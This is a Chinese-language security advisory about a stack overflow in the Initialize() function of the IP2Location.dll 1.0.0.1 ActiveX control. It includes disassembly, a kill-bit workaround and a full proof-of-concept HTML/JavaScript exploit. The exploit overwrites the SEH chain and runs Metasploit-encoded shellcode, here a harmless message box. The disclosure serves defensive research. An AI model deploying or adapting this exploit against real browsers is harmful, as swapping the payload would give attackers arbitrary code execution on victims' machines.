安全研究

安全漏洞
IP2Location.dll Initialize()函数栈溢出漏洞

发布日期:2010-05-31
更新日期:2010-06-01

受影响系统:
Hexasoft Development Sdn. Bhd. IP2Location 1.0.0.1
描述:
IP2Location是地理IP解决方案,可帮助识别访客的地理位置。

IP2Location.dll的Initialize()函数中存在栈溢出漏洞,在执行以下指令时向regcode参数提供了超长字符串就可以触发这个溢出:

    038D1336  |. 50             |PUSH EAX                                ;  User input
    038D1337  |. 53             |PUSH EBX                                ;  Destination address
    038D1338  |. E8 D3420000    |CALL IP2Locat.038D5610

在IP2Locat.038D5610中会执行以下例程,将用户输入拷贝到EDI,最终覆盖SEH链。测试显示大约需要1912字节才可覆盖SEH链,但可能因环境而异。

    038D56A9  |> 8917           /MOV DWORD PTR DS:[EDI],EDX              ;  EDI = Destination; we own EDX
    038D56AB  |. 83C7 04        |ADD EDI,4
    038D56AE  |> BA FFFEFE7E     MOV EDX,7EFEFEFF
    038D56B3  |. 8B01           |MOV EAX,DWORD PTR DS:[ECX]
    038D56B5  |. 03D0           |ADD EDX,EAX
    038D56B7  |. 83F0 FF        |XOR EAX,FFFFFFFF
    038D56BA  |. 33C2           |XOR EAX,EDX
    038D56BC  |. 8B11           |MOV EDX,DWORD PTR DS:[ECX]
    038D56BE  |. 83C1 04        |ADD ECX,4
    038D56C1  |. A9 00010181    |TEST EAX,81010100
    038D56C6  |.^74 E1          |JE SHORT IP2Locat.038D56A9

在程序尝试以下操作之前不会出现访问破坏:

    038D12FC  |. B8 041F9E03    MOV EAX,IP2Locat.039E1F04                ;  ASCII "OK"
    038D1301  |> 8B4D 6C        MOV ECX,DWORD PTR SS:[EBP+6C]            ;  [EBP+6C] = 41414141
    038D1304  |. C641 24 00     MOV BYTE PTR DS:[ECX+24],0               ;  Access violation (we have control of ECX)

        Exception: "Access violation when writing to [41414165]" at MOV BYTE PTR DS:[ECX+24],0

这时攻击允许攻击者执行任意代码或导致拒绝服务。

<*来源:sinn3r (x90.sinner@gmail.com
  
  链接:http://www.corelan.be:8800/wp-content/forum-file-uploads/sinn3r/ip2location_advisory_final.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
    <head>
    <title>IP2Location.dll v1.0.0.1 Initialize() Buffer Overflow by sinn3r</title>
    </head>
    <body>
    <object classid='clsid:A3C8BFFA-1496-4188-A2BC-355A0B3DA0A7' id='ip2location'></object>
    <script language="JavaScript">
    /*
    IP2Location.dll v1.0.0.1 Initialize() Buffer Overflow
    Vulnerable v1.0.0.1 checksum: d86933ab58720c384bdc081d33684f7d
    Patched v1.0.0.1 checksum   : bf66e2ef8be3c301b381cfb424ad0afc  (v3.0.1.0 is also patched)
    Found and coded by sinn3r
    http://twitter.com/_sinn3r
    1) Script provided 'as is', without any warranty. Use for educational purposes only.
    2) Do not use this code to do anything illegal, that's ridiculous!
    3) You are not allowed to edit/modify this code. If you do, Corelan Security cannot be
       held responsible for any damages this may cause.
    */
    
    // ./msfpayload windows/messagebox exitfunc=thread TEXT="by sinn3r" TITLE="Demo by Corelan"
    messagebox = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHYJKMK8Y2T7TZTP1XRNRRZVQ9YSTL"+
                 "KT1VPLKSFDLLKSFULLKG6THLK3NQ0LK7FP80OUH2UL3V95Q8QKOM1CPLK2LFD6DLKW5GLLK1DUU48C1JJLKQZUHL"+
                 "K1JWP31ZKKSVWG9LKP4LKEQJNP1KO6Q9PKLNLMTIP2TDJIQXOTMC1HGM9L1KOKOKOGKSLFDQ8RUYNLK0ZVDS1JKU"+
                 "6LKTLPKLK0ZELUQJKLKUTLK5QM8MYPDVDEL3QO3OB5XQ9YDMYZEK9O2RHLNPNDNZL62KXMLKOKOKOK9QUUTOKZO8"+
                 "NKPSPLGULWTPRZHLKKOKOKOLIW5THBH2LRL7PKO58VS6RVNU4CXT5T3CUCBK8QL7TUZMYM6PVKOV55TMYHBF0OKO"+
                 "XY20MOLLG5LFD0RM8QNKOKOKO582LSQ2NPXU8QS2OBRSUE8GPSRSIQ058G42ERMRO6Q9KMXQLWT4OK9JC3X2R68W"+
                 "P10SX592NRNVSE8U2BY7PRSVQIYMX0LQ439K9KQFQYBQB63PQPRKON06QIPPPKOF5UXEZA";
    
    alignment = unescape(
    "%58"+        //POP EAX
    "%04%0B"    //ADD AL, 0x0B
    );
    
    // Tested size  = 10260 bytes
    var padding1    = unescape("%41");            //Padding
    while (padding1.length < 1912)
        padding1 += unescape("%41");
    
    var nseh    = unescape("%EB%06%42%42");        //Short Jump
    var seh        = unescape("%71%33%6E%74");        //0x746E3371  msls31.dll  IE6
    
    var padding2    = unescape("%41");            //Padding
    while (padding2.length < 10000)
        padding2 += unescape("%41");
    
    buffer = padding1 + nseh + seh + alignment + messagebox + padding2;
    
    var arg1 = ip2location.Initialize(buffer);
    </script>
    </body>
    </html>

建议:
临时解决方法:

* 为clsid A3C8BFFA-1496-4188-A2BC-355A0B3DA0A7设置kill bit。

厂商补丁:

Hexasoft Development Sdn. Bhd.
------------------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ip2location.com/

浏览次数:3687
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障